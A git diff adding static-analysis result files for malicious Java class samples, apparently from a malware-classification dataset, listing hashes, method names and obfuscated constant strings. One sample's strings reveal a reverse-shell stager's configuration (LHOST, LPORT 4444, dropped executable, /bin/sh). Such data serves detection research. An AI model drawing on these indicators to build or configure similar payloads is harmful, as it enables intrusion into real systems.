\\xc2\\xb3\\xc3\\xab\\x02m\\x1b\\xc3\\xbf\\xc3\\x94k\\xc2\\xbc{|A\\xc2\\xa8I~D\\xc3\\xb2\\xc2\\xac\\xc3\\xb4\\x0cU?\\xc2\\x94\\xc3\\x98\\xc2\\xbb\\xc2\\xa1\\xc2\\xa7\\xc3\\x87\\xc3\\xb9<\\\\t\\x10\\x05\\x1f\\xc3\\x82\\xc2\\xaa\\xc2\\x84Qh!6\\xc3\\x86x\\xc2\\x95\\xc3\\x98\\xc2\\xa4\\xc3\\xa7\\x19]\\xc3\\xb6Fg\\xc3\\xbf\\xc3\\x86M\\x01*v\\x05-}\\x0c7}M\\xc2\\x96\\xc2\\x86\\xc2\\xab\\xc2\\x88;\\xc3\\xbb\\xc2\\x8d@\\xc2\\x93\\xc2\\xa7\\x7f\\xc2\\xb7\\x18\\xc2\\xba\\xc2\\xb3\\xc2\\x8f\\xc2\\x83z\\xc3\\x98\\x16\\xc2\\x9cE\\xc2\\xbf\\xc3\\x86\\xc2\\x98\\xc3\\xachas\\x16Q\\x05\\x13z\\xc2\\x82\\xc2\\xa8\\xc2\\xa0\\xc3\\xb2\\x06H\\xc3\\x9a\\xc3\\x83\\xc3\\x99\\xc2\\x98\\xc2\\x89\\xc2\\xa7\\xc2\\x89Z\\xc2\\x9a\\xc2\\xb8\\xc3\\xa8laC\\'\\xc3\\x80\\x13f\\xc2\\x97pw\\xc2\\xa5t\\xc2\\xbd\\xc3\\xaf\\xc3\\xa8D\\xc2\\x91j\\xc2\\xa3B\\xc2\\x99\\x0f\\xc3\\xb4\\xc3\\x9c\\xc3\\x9b\\x1a\\xc3\\x9bnIj;\\xc2\\xa8\\xc2\\x89\\xc2\\xae\\xc3\\x9a\\xc3\\x97V4X\\xc2\\x9e\\xc3\\x86\\xc2\\xa2\\xc2\\xb0\\xc2\\x90C\\xc3\\x81\\xc2\\xa0s\\xc3\\xb8\\xc2\\x93\\x05L6k\\xc2\\x9cx\\x08\\xc2\\xac\\xc2\\x9dr\\xc2\\x8b\\xc3\\x81\\x05\\xc2\\xba\\x14\\xc2\\xab)\\xc2\\x98\\x04\\x04+\\xc3\\x93\\xc2\\x82\\xc3\\x8b\\xc2\\xb5Q%\\xc3\\xb0\\x08az\\xc3\\x80\\xc2\\xab\\xc3\\xbe2Q\\xc2\\xa5\\xc3\\xaa\\xc3\\x9eZj\\xc2\\xa3\\xc2\\x81bR \\xc2\\x8cX;\\xc2\\xb23\\xc2\\xbdM$\\xc3\\x81{$j\\x08E\\xc2\\x97OW\\x08\\xc2\\xbb\\'\\x0e\\xc2\\x99a+Uj\\xc3\\xa4\\xc2\\xa2\\xc2\\x8c_\\xc2\\x91uV0\\x01\\xc3\\x9a9\\xc2\\xaa\\xc3\\x97\"\\xc2\\x86dFw$\\xc2\\x9f\\x1af\\xc2\\x849\\xc2\\x8b\\xc2\\xa2$$\\xc3\\x9aL\\xc3\\xb0-\\xc2\\x93\\x15\\xc3\\x81\\x1ak\\xc3\\xa0\\x1b\\x18P\\x05\\xc3\\x84\\xc3\\xb8\\xc3\\xba\\x13\\x0c\\xc2\\xa4Y}\\x0c\\xc3\\x84\\xc3\\xb0\\xc3\\xb9\\xc3\\x9f\\xc3\\xac\\xc3\\x88\\xc2\\x89\\x7fO=\\t\\xc2\\xa8\\xc2\\xa9\\'\\xc3\\x8c\\t\\xc2\\xbf`\\x15S\\xc2\\x99\\x01\\xc3\\x8c*\\xc2\\x86\\x11T\\x11\\xc2\\x875y\\xc3\\xaf\\xc3\\xb4\\xc2\\xb1\\x1bI\\x0cJ\\xc2\\xb1}ea\\xc2\\xb0\\xc3\\x8bT\\'\\xc3\\xbc\\xc2\\xba\\xc3\\xa3\\xc3\\xad\\x16\\xc3\\x82\\xc0\\x80\\x18\\x1dl9I\\xc3\\xb2\\xc2\\xa5\\xc2\\x9a\\x16w\\xc3\\x99\\xc3\\xb9\\xc3\\xa5\\x06\\xc2\\x91\\x07[\\xc2\\xb2\\xc3\\xb9\\xc3\\x82\\x05\\xc2\\x97\\xc3\\xaeK\\x04l\\xc3\\xacm\\xc2\\xbd\\xc3\\xa0\\'\\xc3\\xa4_\\xc2\\xa1W\\xc2\\xb7\\xc2\\x9d\\xc3\\x8fyw\\xc2\\x8aO\\xc2\\x81\\x04\\x0f\\xc2\\xbbz\\x1ar\\xc2\\xaa\\xc3\\x88\\xc3\\x8b\\xc2\\x8c\\xc2\\x87#\\xc2\\x8f\\xc3\\xbf\\xc2\\xbd\\xc2\\x92\\xc3\\x98\\xc3\\xbd>\\xc2\\x88\\x1f\\xc3\\x98\\xc3\\x84\\xc3\\xad\\xc3\\xa6\\xc2\\x88\\xc2\\xa7b\\x0e\\xc2\\xa6*\\xc3\\x98C#\\xc2\\x9a\\xc3\\x8d\\xc2\\xb4:\\xc2\\x8c\\xc3\\x989Q\\x19\\xc2\\x92uk\\xc2\\xaa~\\xc2\\xbf\\xc2\\xbf\\xc2\\x93\\xc2\\x92\\t\\\\9%O\\xc3\\xb1%\\xc3\\x85v\\xc2\\xb3\\xc3\\x8fD&\\xc2\\xbd\\xc3\\xba/\\xc3\\xb5\\xc3\\xb4\\xc3\\xb8\\x0bg\\xc2\\x81\\x19^\\xc3\\xa3l\\xc2\\x80\\xc3\\xa3\\x0c\\x1d\\xc3\\x99\\xc3\\x8c\\xc3\\x85lF\\xc2\\x8dej\\xc3\\xa6\\xc2\\x9e\\xc2\\x83\\xc2\\xae\\xc2\\xb3\\xc2\\x97\\x0e\\'\\xc2\\x98\\xc3\\xacK}d\\xc3\\xb9DoP$\\xc2\\x83Y|\\xc3\\x89\\x02\\xc3\\x85\\xc3\\xb9l\\xc3\\xae\\x17\\xc3\\x89\\xc3\\x9b\\x0b\\xc2\\xb7+\\xc3\\xaaY,\\xc2\\xaf\\xc2\\x8a\\x11?[Y\\xc2\\xa7|p\\xc3\\x8b\\xc3\\xa1\\xc2\\xbb\\xc3\\x8d\\x01g\\xc3\\x99\\xc3\\xa5\\xc3\\xac8\\xc2\\xb6^g2\\xc3\\xa3Y\\xc3\\xae5\\xc3\\xad\\xc2\\xa2\\xc3\\xbe0Rmpq\\x0c!\\t6q\\x01\\xc2\\xac\\x1a\\xc2\\xa9\\xc2\\xab\\xc3\\x82%\\xc2\\xafZ\\xc2\\xaehi\\xc2\\x81z)\\xc2\\x81\\x17\\xc3\\x83\\x10\\x1d\\\\\\xc2\\x8d/\\xc3\\xb3~\\xc2\\x81\\xc3\\xb6\\xc2\\x9a6>\\xc3\\x9b\\xc3\\x91\\xc2\\x9d`r\\xc3\\xad+k\\xc3\\x95n\\xc2\\x99\\xc2\\xbd\\'\\xc2\\x8cY\\xc3\\xa0\\xc3\\xb5Q6\\x1b\\xc3\\x9d\\xc3\\x99\\x0f6,<\\xc2\\xa5\\x02#\\x02\\xc2\\xaf\\xc3\\xa4s\\xc3\\xb2\\xc2\\xbd\\x1e\\xc3\\xa9\\xc3\\xb5nx\\xc3\\xbe@$2\\x16=7\\xc3\\x9d\\xc2\\xae\\xc2\\x86\\x06\\xc3\\x841\\xc2\\x83[/\\xc2\\xb2\\xc2\\xac\\xc2\\x83l\\x02\\xc3\\xb7G\\xc2\\x8cw\\xc2\\x81\\x15!\\xc2\\x84\\x02\\xc2\\x8f\\xc3\\x89\\x15\\xc3\\xa2I\\xc2\\x94e*\\xc2\\xbe\\xc2\\xaf+o\\xc2\\x9f\\xc3\\x90\\xc3\\xa4\\x03t\\xc3\\x99\\xc3\\x98\\x110\\xc3\\xb2<\\xc3\\x96\\xc3\\xb4f\\xc3\\xad2m\\xc2\\x87E\\xc3\\x98g\\xc2\\x99\\xc2\\x9c:%\\xc2\\x9cm\\xc3\\x9b\\xc3\\xbb%\\xc3\\x93\\x19\\xc2\\x98\\xc3\\x89g\\x1bw|\\xc3\\x97\\xc3\\x9c\\xc3\\x8cq\\x12a:\\x11\\xc3\\xa7\\x17\\xc2\\x82\\xc2\\xa7\\xc2\\xbe\\x14\\xc2\\xb5\\xc3\\x95\\xc3\\xb1\\xc3\\xbe\\xc3\\xb0\\\\\\xc2\\x98\\xc2\\x9a@~!/\\x0bR/~\\xc2\\xb0\\xc3\\x8f\\xc2\\xb9\\x08\\xc3\\xa1#\\x03\\xc3\\xba\\xc3\\xb0\\xc2\\xb5\\x1e\\xc3\\xaa\\xc3\\xa4\\x05\\xc3\\xacki\\x02i\\xc3\\xbe\\n\\xc2\\xb2\\x16\\xc3\\xb9\\xc2\\xbb\\xc2\\x89\\xc3\\xa3\\xc2\\xba\\x0b\\xc2\\x8c\\xc2\\xaf\\xc2\\x8d\\xc2\\xa3\\xc3\\xb3qA\\xc2\\x9f\\x1b\\xc3\\xa5\\xc3\\x93\\xc2\\x94!\\xc2\\xb98\\xc3\\x8d\\xc2\\x81g`\\xc3\\x95\\xc2\\xb8\\xc2\\xb3tW\\xc2\\xb4\\xc2\\xb4@\\xc3\\xa9\\xc3\\x98\\xc2\\x92\\xc2\\xae{\\xc2\\xb6\\xc2\\xa3]\\xc2\\x96W\\xc3\\x9f,\\xc3\\x950\\x1c\\xc3\\xa9\\xc3\\x80\\xc3\\x9f\\xc3\\x83\\xc3\\x80\\x01\\xc3\\xbb\\xc3\\xaa\\xc2\\xa6\\xc3\\xba\\x13I\\xc2\\xa1\"\\xc2\\xa2?jy\\xc2\\xab\\xc3\\xb1\\xc3\\xa1\\xc3\\xb5\\xc3\\xa2#\\xc2\\xae9\\xc2\\x8b\\x08tG\\x0f\\xc3\\xb7\\xc3\\xaa\\xc2\\xae\\xc2\\xa9\\x01\\x1a\\x11\\xc2\\x86\\'n\\xc3\\x88$pz\\xc2\\xab\\xc2\\x86\\xc3\\xab\\x13\\x7f\\xc2\\x96\\xc3\\x86\\xc2\\xb2\\xc2\\xa3\\xc3\\x92\\xc3\\x85\\xc2\\x89\\n\\xc2\\xae\\x01\\xc3\\x8a=\\xc2\\x90\\xc3\\xadjA\\xc3\\x9b\\xc2\\x84w]\\xc3\\x85u\\xc2\\x94\\xc3\\xbc/S\\xc3\\x9e\\xc2\\x8f\\x07\\x07\\xc2\\xbc\\xc3\\xb9\\xc2\\x96{\\xc3\\x86\\xc2\\x9a}\\xc2\\x93lx\\xc3\\xa0-\\x14\\xc3\\x8dN\\xc2\\x9f\\xc2\\xa7\\xc3\\xb5\\rk\\x02&c\\x18\\xc3\\x84s\\x16\\xc2\\x8c0D+\\xc3\\xb2\\xc2\\x918\\x1dB\\x11.\\xc2\\xb6\\xc3\\xb3\\x1e\\xc2\\x82\\xc3\\x90\\x08\\xc3\\x81_\\xc3\\xa4\\xc2\\x89\\xc2\\xab\\x18\\xc2\\xb8 `\\xc3\\xbf\\xc3\\x96#\\xc3\\x9c\\xc2\\x92\\x0f\\xc3\\x90\\xc3\\x87\\xc3\\xab.\\xc2\\xaa\\x0bsV{\\xc2\\x82\\xc3\\xb7\\xc3\\xba\\x127\\xc2\\xb3H\\xc3\\x9cXw_9Tc?U-\\\\w?]\\x0cT\\xc2\\x9d\\xc2\\x90\\xc3\\xbc\\x13/v?]\\x0fVw?Z-Tw?]-Tw?]-Tw\\x1fr-T\\x14\\x11>A5\\x04L\\rfUu+]9T\\x7f?U-Tw\\x1e]N\\xc2\\x9a\\x01\\x13\\xc3\\xb4,Twj_-Tp?]-Tw?]-Tw?]-\\xc2\\x84G?]Fz\\x14S<^\\'\\'t\\\\/@w+]%T\\x7f?]-uw\\xc2\\x90\\r\\x02\\xc2\\xab\\xc3\\x82<]-\\xc3\\x96q?]*Tw?]-Tw?]-Tw?\\xc3\\xb3\\x1fTwSsN8\\x16L.}\\x1fv=I-@w7]%Tw?|-\\xc3\\xadb\\\\\\xc2\\x91\\x0b\\x05w?\\x07\\xc2\\xacTw8]-Tw?]-Tw?]-T\\xc3\\xaf\\t]-:Y\\\\1L\\'\\x04o\\x16,Vc?I-\\\\w7]-TV?~\\xc3\\xa1=_\\xc3\\x9bZ-T\\xc2\\xb92]-Sw?]-Tw?]-Tw?]\\xc3\\x9e\\xc3\\x93w??\\x037\\x1b^.^\\x04<>_9Tc?U-\\\\w?]\\x0cT\\xc2\\xbe\\x01\\xc2\\x85\\x10\\xc3\\xb1v?]sVw?Z-Tw?]-Tw?]-Tw3\\xc3\\x8d-T\\x13\\x11>A5\\x04L\\rfUu+]9T\\x7f?U-Tw\\x1e]3\\xc3\\x80\\xc3\\xa8\"\\xc2\\xb3,Tw\\xc3\\xae_-Tp?]-Tw?]-Tw?]-\\xc2\\xb2\\xc3\\xa6?]Hz\\x14S<^\\'\\'t\\\\/@w+]%T\\x7f?]-uwKI\\xc2\\x97=j<]-\\xc3\\xa7s?]*Tw?]-Tw?]-Tw?T\\xc2\\xb9TwRsN8\\x16L.}\\x1fv=I-@w7]%Tw?|-\\xc2\\x9b\\xc3\\xaf\\xc3\\xbc\\xc3\\xa4d^w?e\"Tw8]-Tw?]-Tw?]-T,\\xc2\\xa8]-_9Tc?U-\\\\w?]\\x0cT\\x18{\\xc3\\x8e\\xc3\\xb3\\xc3\\xacv?]{Vw?Z-Tw?]-Tw?]-Tw\\x10\\xc3\\xb9-T\\x11\\x11>A5\\x04L\\rfUu+]9T\\x7f?U-Tw\\x1e])\\xc2\\xbb\\x1f\\xc2\\x97\\xc2\\x86-Tw:\\\\-Tp?]-Tw?]-Tw?]-H\\xc3\\x91?]Gz\\x14S<^\\'\\'t\\\\/@w+]%T\\x7f?]-uw#]\\xc3\\xaaL\\xc2\\x980]-Kk?]*Tw?]-Tw?]-Tw?q\\xc2\\x8aTwPsN8\\x16L.}\\x1fv=I-@w7]%Tw?|-8)\\x04I0Qw?\\x02$Tw8]-Tw?]-Tw?]-T\\'\\xc2\\x88]-=Y\\\\1L\\'\\x04o\\x16(Rw?]-[w0]6Ww?\\xc3\\xbf\\xc2\\x91Tw?]", "/"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "99b7b87ca42b0c91f8ae6c23f3f06455016eef36", "file_name": "java_malicious/e7b7befc0d7a43b7ee1dd93454414e165bce11dd1da8aeefdeec468a5e8ec8c9", "_id": "9045b2d9-3550-4b1f-be1b-8445d4610499", "score": 0, "entropy": 6.376990131601662, "libmagic": "compiled Java class data, version 45.3", "file_size": 77089, "ssdeep": "1536:qAcL6VWFKaY8s8rHp0ZHWtU99+jJzXQqLOOSjr4tKzXOeJK:qAZVKfL9D/jJzXQSSjktEOe0", "sha256": "e7b7befc0d7a43b7ee1dd93454414e165bce11dd1da8aeefdeec468a5e8ec8c9", "md5": "83afa0b81c85aea37b6aa67b49de58c6", "parent_sha256": "e7b7befc0d7a43b7ee1dd93454414e165bce11dd1da8aeefdeec468a5e8ec8c9"}} \ No newline at end of file diff --git a/java_classification/data/malicious/e7ed235a96a9e1b747adb5a260ddebc3961e79f218681953c27cf2cd20a1db11.results b/java_classification/data/malicious/e7ed235a96a9e1b747adb5a260ddebc3961e79f218681953c27cf2cd20a1db11.results new file mode 100755 index 0000000..509f4a3 --- /dev/null +++ b/java_classification/data/malicious/e7ed235a96a9e1b747adb5a260ddebc3961e79f218681953c27cf2cd20a1db11.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "ZJMEuwz.java", "class_name": "kypihA/ZJMEuwz", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "vyCtchpUO", "qTUmJe", "FnjomRos", "HTfKMoW"], "minor_version": 0, "const_pool_count": 208}}, "_id": "9ebe9a2f-a755-4062-b225-d4c7f956aa2c", "verbose": {"java": {"constant strings": ["JH]]]]H", "ZILJO"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "3e36b3a722860a1446d6c3b576e7d3e4a28e24c0", "file_name": "java_malicious/e7ed235a96a9e1b747adb5a260ddebc3961e79f218681953c27cf2cd20a1db11", "_id": "9ebe9a2f-a755-4062-b225-d4c7f956aa2c", "score": 0, "entropy": 5.457717412685263, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 3732, "ssdeep": "48:HvY4koGgcWyFle+jHpKNsUcU3luXQB9+zPGKdn+NrjmNU5ABv+rDt6D:PYboEvFlecU3lkPHn+mN+rUD", "sha256": "e7ed235a96a9e1b747adb5a260ddebc3961e79f218681953c27cf2cd20a1db11", "md5": "1226e2437efb2c934d99429542793678", "parent_sha256": "e7ed235a96a9e1b747adb5a260ddebc3961e79f218681953c27cf2cd20a1db11"}} \ No newline at end of file diff --git a/java_classification/data/malicious/e8687d2c49d762827eb283640dded67412034cbdbf1592ddb09c940b0601631a.results b/java_classification/data/malicious/e8687d2c49d762827eb283640dded67412034cbdbf1592ddb09c940b0601631a.results new file mode 100755 index 0000000..11a8013 --- /dev/null +++ b/java_classification/data/malicious/e8687d2c49d762827eb283640dded67412034cbdbf1592ddb09c940b0601631a.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "BMVoAJTxeI/Payload", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["", "main", "writeEmbeddedFile", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", ""], "minor_version": 3, "const_pool_count": 605}}, "_id": "c5a19b87-96c8-4b8d-928c-38c19b42caa4", "verbose": {"java": {"constant strings": ["BMVoAJTxeI.Payload", ".class", "/BMVoAJTxeI.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "BMVoAJTxeI.dat", "URL", "", "https:", "BMVoAJTxeI/PayloadTrustManager.class", "PayloadTrustManager.class", "AESPassword", "BMVoAJTxeI/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "BMVoAJTxeI.PayloadTrustManager", "useFor", "java.net.URLConnection", "BMVoAJTxeI.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "Payload -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javaLejZDzm.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "4ca99db17d40373e5c99f24bc1c50cc365a1b042", "file_name": "java_malicious/e8687d2c49d762827eb283640dded67412034cbdbf1592ddb09c940b0601631a", "_id": "c5a19b87-96c8-4b8d-928c-38c19b42caa4", "score": 0, "entropy": 6.144222251656013, "libmagic": "compiled Java class data, version 45.3", "file_size": 9415, "ssdeep": "192:gmO1tFP2mptm+BoNvpvUrKYvCkgHzbDrDF:5+v2mzBoNvZU+YvaH3B", "sha256": "e8687d2c49d762827eb283640dded67412034cbdbf1592ddb09c940b0601631a", "md5": "1cd8ba2e28293ae4280667d31c3dd1eb", "parent_sha256": "e8687d2c49d762827eb283640dded67412034cbdbf1592ddb09c940b0601631a"}} \ No newline at end of file diff --git a/java_classification/data/malicious/e88b7ba85ae6c38db2d6a46201469c5b8bcdfaeccb4328ad0896e19cc0a066c2.results b/java_classification/data/malicious/e88b7ba85ae6c38db2d6a46201469c5b8bcdfaeccb4328ad0896e19cc0a066c2.results new file mode 100755 index 0000000..79ef321 --- /dev/null +++ b/java_classification/data/malicious/e88b7ba85ae6c38db2d6a46201469c5b8bcdfaeccb4328ad0896e19cc0a066c2.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "y/dkr", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "a", "a", "b", "a", "a", "a", "init", "a", ""], "minor_version": 0, "const_pool_count": 202}}, "_id": "4afbb09b-880a-465e-919f-9ecc56a40480", "verbose": {"java": {"constant strings": ["gl_\\x07-alG\\x01-\\x7fhO\\nfny\\x07%lc~]\\x14vnyF\\x14", "ch^/m~yH\\x08`h", "gl_\\x07-db\\x07)aghJ\\x12Jc}\\\\\\x12Py\\x7fL\\x07n", "gl_\\x07-db\\x07/m}x]5w\\x7fhH\\x0b", "(u", "LNl", "I=\\x19V6:8\\x1eT3=<\\x1aSA9N\\x1f\\'5<:\\x1fP2?H\\x1f%5<;lP4?H\\x1d 5?", ";L\\x1fS5>:\\x1dUA4=j#654oW3:>\\x1b_5N=\\x1bV3==\\x1e^4==\\x19V3==\\x19T", ":8\\x1eT3==", "KH\\x1b%:9<\\x18^;O;lSEK=\\x1b", "==\\x19V45:\\x19V3==\\x19V3<:\\x19Q0:?\\x19V0=;hP2:;\\x1fW1H:\\x1cQ7;4\\x1f%", "?H\\x1fU5K;lP0:8\\x1eT4?;\\x1cPF:9\\x1b#5<:\\x1dPE;I\\x1f_5>?lR2:9\\x1f ", ";I\\x1f_5>8\\x1bP6;;\\x1fS4?;\\x1cPF;>\\x1fS7<:\\x1bQ1;<\\x1e_B4I\\x1b\"FLkQ;:=\\x1eW3=:lV3=>", "gw@\\x03", "\\x7fhH\\x02LogL\\x05w", "gl_\\x07-alG\\x01-NaH\\x15p", "jh]%ol~Z*lliL\\x14"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "f2ae6af71f274af332a61d20350c6ff7dfae809d", "file_name": "java_malicious/e88b7ba85ae6c38db2d6a46201469c5b8bcdfaeccb4328ad0896e19cc0a066c2", "_id": "4afbb09b-880a-465e-919f-9ecc56a40480", "score": 0, "entropy": 5.915843267800359, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 4308, "ssdeep": "96:ox3aZcBIbJUyZUw6r6Fr82hJIpc3j+K5ggg0g:Rcq2yZUn+C27Ip46K5ggg0g", "sha256": "e88b7ba85ae6c38db2d6a46201469c5b8bcdfaeccb4328ad0896e19cc0a066c2", "md5": "15478c5963cd4f1672b1b045c66c4e99", "parent_sha256": "e88b7ba85ae6c38db2d6a46201469c5b8bcdfaeccb4328ad0896e19cc0a066c2"}} \ No newline at end of file diff --git a/java_classification/data/malicious/e95f18e82ba20b69f969e71e90f3826af87c895a10541ef5f14cf133a0b71828.results b/java_classification/data/malicious/e95f18e82ba20b69f969e71e90f3826af87c895a10541ef5f14cf133a0b71828.results new file mode 100755 index 0000000..6ad5956 --- /dev/null +++ b/java_classification/data/malicious/e95f18e82ba20b69f969e71e90f3826af87c895a10541ef5f14cf133a0b71828.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "bgdjkr/vdedsnd", "access_permissions": ["ACC_PUBLIC", "ACC_FINAL", "ACC_SUPER"], "major_version": 50, "method_names": ["jvdnfvtkk", "qquqvqwmtvv", "caahuwy", "ybgbukfqg", "wjenbrq", "a", "bvydtfldnq", "mgggdkpshcs", "benutpcejl", "uudlkttfm", "njeuenhcq", ""], "minor_version": 0, "const_pool_count": 517}}, "_id": "b6dfb98e-344e-4cab-9b4e-5d55d262a387", "verbose": {"java": {"constant strings": ["\"\\x16D!\\x1ew\\x15~\\x11yD\"E?C", ")C}@|F.J~Jw@{D", "$\\xc0\\x80 \\x16!\\x12", ")\\x10xB~\\x12w\\x16y\\x10", "6\\x1d,\\x026\\x1c", "%\\x129\\x12a\\x1f.\\x1d(]\\x1c\\x07=\\x1a!\\x14", "\\x14}B(\\t", "*A}J}\\x16-G~Jv\\x12", "\\n6\\x077\\x1d7\\x058\\x10\\'\\n", "*F}\\x15x\\x12w\\x10y@.G", "\\x02%\\x0b;\\x1b+\\x076\\x1a\"\\x14<\\x1e", "+J~@|B.F{Kv\\x15\\x7fE,F.K\\x7f\\x16y\\x12xB)J,EyEyD\\x7fBz\\x11,C|\\x11,C\\x7fE}\\x15v\\x17vD", "<\\x1d8\\x1a(\\x01.\\x10.\\x1b", ")E|\\x15|G.DzEvCz\\x17wD", "!\\x1b>\\x1a", "|E>G?\\t5\\x04", "D8\\x129\\x1d6\\x126D>Gw\\x1d~K%\\x04-E\\'\\x078\\n", "\\xc0\\x809\\x04=\\x01", "*\\x10|F|\\x17.@~EwK{J+B-E~ExAx\\x10)Jv\\x12{J|\\x16\\x7fJ{\\x16+J", "\\x04*\\x14 \\x12", ")\\x10}\\x16|A.\\x15{B.FzE+A.G\\x7f\\x17y\\x11", "\\x1d$\\x04\"\\x05\"\\x03%\\x1a.\\x1a$\\x18?\\x1f", ")F|E}\\x12.B~EvA{@+K-\\x15\\x7fDyKxK)@v\\x12{E|K\\x7fBz\\x17+\\x11|JwB}\\x10|GvK", "\\x1d)\\x03\"\\x12\"\\x1c", ",@|D}E-@zEv\\x12zE+J.K~\\x12", "\\x02&\\x15=\\x19:\\x18*\\x18", ")B}A|\\x15.E\\x7fFv\\x12{E,G-\\x10~\\x17xDx\\x10)GwD{\\x17|G\\x7f@zF", "\\x19=\\x16", "*\\x10|B}\\x15.C{Cw\\x15z\\x10", ";\\xc0\\x80?\\x179\\x1e)\\x19:\\x11", "\\x1e(\\x04;\\x1e;G;\\x1bxE~E{\\x1b{\\x1d\\x7f\\x05\\'G", "$\\x078\\x14-\\x06y\\x17(\\x10yG\\x7fB|\\x07\\'@~\\x1d", "\\x18$C!\\x1e}\\x19", "<\\x02!\\t.\\x14~\\x18!\\x01#\\x11~\\x05~\\x02\\x7f\\x16", "B%\\x106\\x18(\\x12<\\x1f9\\n=\\x02\\'\\n", "\\x198\\x16", "E*\\x11$G%\\x1d}\\x1d:\\x15", "8\\x02-G+\\x1b5\\x18*\\x016\\x05{\\n%G=\\x129\\x1b\"\\x04z\\x1fzB;\\x1b", "zC=\\xc0\\x80!\\x01", "\\x195\\x07?\\x15+\\x12$\\x02>C{\\x05zK?\\x1e#\\x05(F", "\\x1dz\\xc0\\x80;C-\\x19-\\xc0\\x80", "\\x1e~@", "6\\x17%\\x12~E!\\x12%B$B%\\x10=\\x03w\\x07#A", "\\x036\\x05\\'\\x17>\\x02y\\x11\\x7f\\x038\\x1b{\\x04\\'\\x14w\\x11,B,\\x128E", "-\\x15%E*\\x17", ")\\x12|@|Jv\\x17zKv\\x11{\\x10", "\\x1f(\\x12-\\x076\\x02)\\x1b.\\x1d!\\x01#\\x19", "*K}K|C", "\\x03;\\n", ")@", "(\\x18,\\x05\"\\x06!\\x19", "*G|\\x17}F", "\\x1e&\\x19;\\x1c", "*J|\\x10}K.C\\x7fFw\\x10z\\x12+D-J{D{\\x17xF*D+\\x16yG|C", "=\\x1f", "?KwB+\\x18\\x7fF:\\x1b", "\\n{\\x05{\\x16\\'\\x03}\\x07", "z@wC}E", ":\\x12\\x7f\\x14\\'\\x108\\x16-\\x03>\\x1bw\\x01+A.\\x1e", "@5\\x1b-\\x19#\\x12", "<\\x11|\\x01\\x7f\\x01#\\x15", "9\\n*K=\\x02-\\x1e\\x7fD.@$\\x14+@\\'\\x1dy\\x14-\\x07", ">C6\\x07}\\t(\\x1b9\\x12\\x7f\\x1f;C6A(\\x03:\\n#\\x11~G)\\x01", "<\\xc0\\x806\\x04", "\\x11$Kw\\xc0\\x80~\\x11|\\x1e+B8\\x14", "#\\x03\"\\x02.\\x19*\\x04", ".\\n{\\x18<\\x03!FwG:\\x07<\\x05<\\t", "\\x07{\\x1bwG", "zB\"\\x1d*K$D\\x7f\\x02=\\x1d9\\n", "!\\x04(G;E(\\x1d6\\x05#\\x03:\\n.\\n!\\x15-\\x19", "}\\x1d6\\t~\\x18)\\x176\\x06\\x7f\\x14|\\x15xB8F~E(\\x15=A", "|\\t5\\x048\\x11|\\x02", "\\x06-\\x12", ")B}K|F.\\x11\\x7fBw\\x15{J+\\x15-A{BzDy\\x16", "\\x197\\x1c(\\x05 \\x12+\\n", ")K|G|B", "\\x1b9\\x1d\\'\\x16=\\x11#\\x19:\\x10", ")\\x12|@|CvD{EvJ{K,G.D\\x7fByA", "*\\x14$\\xc0\\x80>\\x15:\\x03", ")F\"\\x1b9\\x03", "$\\x02xD}\\n)\\x1f\\x7fA8C|\\x056\\x019D", "\\x15$\\x019\\x1e", "#\\x19(F8Kx\\n=\\x02>\\x07", "(\\xc0\\x80?G?@\"@$E~\\x1d", "\\x01xA$\\x026\\n:\\x1f;\\x19=\\x01-E<\\x11}\\x1b!\\x1dz\\x14", "*\\x07\"D;\\x116\\x05\\'\\xc0\\x80y\\x02.D=K?\\x18+\\x16*C", "*\\x12|\\x16}\\x12.\\x12~Fw\\x17{@,D", ">\\x1d?\\x15-\\x01 \\x027\\x058\\x04", "*\\x12}\\x15}@-@zA,\\x10yG+\\x15.\\x12}DyD", "\\x1d#\\x15%\\x01", ")A|E|D-K{KwAzA,J", "\\x02%\\x01)\\x11(\\x07=\\x1b", "Ew\\x16", "(\\x055\\x04:F%\\x05", "\\x16}\\x1d9\\x01?\\x14$\\x1dy\\x045\\x19}D", "\\x02?\\x1b!\\x109E6\\x1f\\x7f\\x1f:\\x19)@*E$\\x1f", "%C)\\x11{\\x17+F5\\x03<\\x16!\\x19", "yD\\x7fCzJ", "\\n!\\x1e%\\x17", ".B9\\x18\\x7fC+\\x16y\\x11#A-Kw\\x1e*\\x1f|\\x17\\'F$\\x10=E.\\x07(\\n:\\x10", "ExGz\\x01:\\xc0\\x80)By\\x145\\x06-A}E-B", "\\x7f\\x06$Bz\\x14", "}\\x11$\\x1f;\\x01\\x1e\\x7fB\"\\x19|E8K", "(\\x15#\\x14?\\x07+\\x1d", "y\\t?\\x07%\\x19\\x7fG}A:D~\\x17?\\x06%K\"C8\\x049\\x17,@*\\x079B~\\x1d%D", ")\\x10}E}\\x17", "\\x1f<\\x16$\\x19=\\x04#\\x126\\xc0\\x809\\x17%\\x0b", "*A|B|@-\\x15~\\x10wKz\\x12", "6\\x12&\\xc0\\x80$\\x049\\x17=\\x1c,\\x19", "*B}J|B-\\x17{FvA\\x7fC)E.G~KxKy\\x10)@,\\x15yA|J\\x7fA", 